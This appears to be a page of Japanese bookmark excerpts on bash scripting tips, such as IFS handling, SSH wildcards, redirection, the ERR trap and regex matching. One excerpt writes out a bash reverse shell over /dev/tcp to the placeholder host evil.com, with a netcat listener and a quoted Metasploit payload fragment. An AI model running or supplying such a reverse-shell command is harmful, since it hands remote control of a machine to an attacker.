while readするならwhile IFS= readした方が良いかもよっていう話です。 説明は後にして、まずはlsしたファイル名をechoする例で違いを見てみます。 $ touch " abc " "ho ge" $'\txyz' #3つのファイルを作成します ## 普通にwhile readした場合 $ ls | while read f; do echo "[$f]"; done [xyz] [abc] [ho ge] ## IFS= を付けた場合 $ ls | while IFS= read f; do echo "[$f]"; done [ xyz] [ abc ] [ho ge] 違いは一目瞭然ですね。単にreadをした場合は、前後のタブや空白が全て消えてしまっていますが、IFS= をつけた場合はタブや空白もオリジナルのまま読み込めています。ちなみに ho ge の間は空白
AND(論理積演算子) if [ -f a.txt -a -f b.txt ] OR(論理和演算子) if [ -f a.txt -o -f b.txt ] [参考] bashクックブック P.128 レシピ 6.4 複数の属性の評価
SSH のコマンドの引数としてワイルドカードを使用する場合は、その取り扱われ方に注意する必要があります。 SSH のコマンドとして渡す引数部分を、引用符でくくった場合は、ワイルドカードはリモート側で展開されます。 逆に引用符でくくらなければ、ワイルドカードはローカル側で展開されます。(ただ、該当するものがない場合はリモート側の方が採用される様子…/不確かですが) ex) ssh xxx.ez-net.jp ls -al /etc/*.conf ssh xxx.ez-net.jp "ls -al /etc/*.conf" これはワイルドカードのみならず、リダイレクションも同様みたいです。リダイレクションによって作成されるファイルも、引用符でくくらないでおけば、ローカル側に直接作成されます。 また、シェルスクリプトで実行するときも、これはもしかすると知らないだけなのかもしれないですけど、ひとつ
ななし 『ファイルがないと * のままになるので、ls DIR 2>/dev/null と書いたりしますね。』 (2007/07/09 11:10) まぁ、そのとおりなんだけど、ls とコマンド置換を使ってファイル名を取得しようとすると、パスに空白が含まれていたりする場合にはまれる。 % touch 'odz buffer' % ls `ls` ls: odz: No such file or directory ls: buffer: No such file or directoryあと、関係ないけど、-F オプション付きの GNU ls の挙動はなんだかよくわからない。 % ln -s usr . % ls -F usr usr@ % ls -F usr/ X11R6/ bin/ doc/ games/ include/ lib/ lib64/ local/ sbin/ share/
初級者向けに『自分がシェルスクリプト書くときに気をつけていること』をまとめてみました。 @masudaKの『シェルスクリプトを書く際に気を付けていること8箇条』の乗っかりエントリです。 内容は重複しないように書いてますので合わせて読んでください! 基本的にLinuxの/bin/sh、/bin/bashを想定しています。 テキスト処理は標準入力から受け取って標準出力に出す テキストを扱う小さなツールを作りましょう。 引数はオプション情報を渡すのに使います。 そうすればgrep、sort、uniqなどの便利なコマンドとパイプで連携できます。 grep ERROR /tmp/test.log | my_cmd1.sh 192.168.1.1 | sort 全てを実行する1つのスクリプトを作るのはたいへんだし、応用が効かないです。 人間に伝えたいメッセージは標準エラー出力に出す パイプでつないだ時
次のページ 前のページ 目次へ 5. ANSI エスケープシーケンス: 色とカーソル操作 5.1 色 すでに述べたように表示されないエスケープシーケンスは、\[\033[ と \] で囲んでやる必要があります。色のエスケープシーケンスの場合は 後ろに m\] をつけてやる必要があります。 もしこれから説明するプロンプトを試してみて、指定した色がうまく表示され ないなら、 /.Xdefaults ファイル(あるいはそれと同等のファイル)に "XTerm*Foreground: BlanchedAlmond" のような行がないか調べてください。 この前に!マークをつけることによって、コメントアウトすることができます。 これは、あなたがどのような端末エミュレータを使っているかにも依存します。 あなたの端末の色が上書きされる可能性のもっとも高いのがこのファイルです。 プロンプトにブルーのテキストを
カメラやスキャナから取り込んだ連番のついたデータを、たとえばタイトルごとにディレクトリをわけて整理したいとき、Linuxのコマンドではどのように操作するのがいちばんラクか。その答えはおそらく、ブレース展開{}を使ってforループで回す。 たとえば、リコーのカメラだと「RIMG0001.JPG」というように名前がつきます。こうして並んだファイルの「RIMG0023.JPG」から「RIMG0056.JPG」までを他のディレクトリにコピーしたいとき。 for filename in RIMG{0023..0056}.JPG; do cp $filename directoryname; done でよいわけですね。こんなラクだったのですね。もっと複雑なスクリプト書いてました。 追記: いや、ちがう。コピーをするのにfor文でループを回す必要はないですね。だから、もっと簡単になります。 cp RI
少し前にオライリーの入門Bashを読んで、このデバッグ方法を知って「おおー」と感動をしたので、この喜びを書いてみました。 sh系には trap というコマンドでシグナルトラップができて便利ですが、bash にはさらに便利な疑似シグナルというものがあったりします。bashのmanpagerをみると、trapのsigspecをERRとした場合、コマンドが0以外でexitした場合にトラップしてくれるようです。 If a sigspec is ERR, the command arg is executed whenever a simple command has a non-zero exit status, subject to the following conditions. The ERR trap is not executed if the failed command is pa
``ワイルドカード''や ``メタキャラクタ''とは任意の文字列を指定するための特殊な文字のことです. ワイルドカードやメタキャラクタを利用することによって,複数のファイルを効率的に操作できます. 次にそれぞれの使用例を示します. 5.11.1 0文字以上の任意の文字列を表すワイルドカード `*' `*' (アスタリスク) は0文字以上の任意の文字列を表すワイルドカードです. 例えば,`*.tex'はファイル名が `.tex'で終るすべてのファイルを意味します. シェルは`*'を0文字の文字列としても解釈します. そのため,`abc*'と入力すると,`abc'という名前のファイルも操作の対象に含まれます. ただし,先頭に`*'を指定した場合でも,ファイル名が`.'ではじまるファイルは含まれません. % ls -a <ENTER> ./ .mathmatics economics.tex m
bashのIFSに改行のみを設定するのにはまった。 シェルスクリプト中でコードとして定義 IFS=' 'もちろんコマンドライン中ではあり得ない表記だ。 ¥’¥n’ これに気がつくまで時間がかかった $'string' の形式を持つ単語は特殊な扱いを受けます。 この単語は string に展開され、 それから ANSI C 標準で仕様が決められている、 バックスラッシュでエスケープされている文字に置き換えられます。 バックスラッシュエスケープシーケンスは、 (もし存在すれば) 以下のようにデコードされます: \n 改行文字 $ echo "foo bar buzz" >> a $ echo "foo bar buzz" >> a $ echo "foo bar buzz" >> a $ cat a foo bar buzz foo bar buzz foo bar buzz $ (IFS=$
Reverse Shell with Bash そうか、bashにはこんな機能もあったのね。使ったことないし。 ローカル(自分)側で netcatリスナーを起動。 $ nc -l -p 8080 -vvvリモート(相手)側で net redirectionを利用する。 $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; doneもっと簡単にこれでも可。 $ exec 5<>/dev/tcp/evil.com/8080; sh <&5 >&5 ちょっと調べてみたら、Metasploitでも使ってた。orz reverse_bash.rbの該当部分。 return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datas
以下の1行を追記すれば良い。 exec > ファイル名 2>&1 例 hoge.sh #!/bin/bash ls a hoge2.sh #!/bin/bash exec > hoge2.log 2>&1 ls a 実行結果 $ ./hoge.sh ls: a: No such file or directory $ ./hoge2.sh $ cat hoge2.log ls: a: No such file or directory 参考 bashクックブック 作者: Carl Albing,JP Vossen,Cameron Newham,株式会社クイープ出版社/メーカー: オライリージャパン発売日: 2008/09/26メディア: 大型本購入: 8人 クリック: 268回この商品を含むブログ (31件) を見るP.368 レシピ 15.12 スクリプト全体の出力のリダイレクト
bash の解説なんて、ネット上には結構あったりするのだが、これをわざわざ公開しようというのは、次の理由による。 某ソフトハウスでのUNIX講座用に書いてしまったから。 ネット上にある bash 解説だと、表面的な構文解説程度であり、きっちりスクリプト言語として使い倒すレベルの解説はあまりない。まあ、プログラミング言語として凝ったサンプルもやってみようじゃないの、というノリで割とディープに解説する。 アクセスを増やすための人気取り(苦笑)。 まあ、そんな不純な目的による bash 解説である。とはいえ、日常的に使い慣れている bash であっても、「え、こんな使い方があったの!?」という発見もあることであろう。苦笑しながらでも読んでくれたまえ。だから、初歩的なリダイレクションなんかは解説しないからそのつもりで。 ちなみに参考書としたのはオライリー・ジャパン刊「入門 bash 第2版」である
exp で 1文字を対象にしたいのであれば ?([a-f]) のようにクラスを併用することも可能。必ずしも `|' を使わなければならないわけではない。また、正規表現は ?(bash@(ref)) のように入れ子にすることもできる。 Bashで正規表現(2) ([[ =~ ]]オペレータ) 二重の `[[' を使い比較演算子に `=~' を使うと、右辺は拡張正規表現とみなされる。前項とは異なりこちらは本物の正規表現だ。面白いのは、マッチ部分が BASH_REMATCH という配列にアサインされるという点。 VAR=$(LANG=C date +'%c') # VAR='Wed Dec 22 22:51:41 2010' DAYOFWEEK=Wed PATTERN='^'$DAYOFWEEK' ([[:alpha:]]{3}) [[:digit:]]{2} ([0-9:]+)' [[ $VA
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く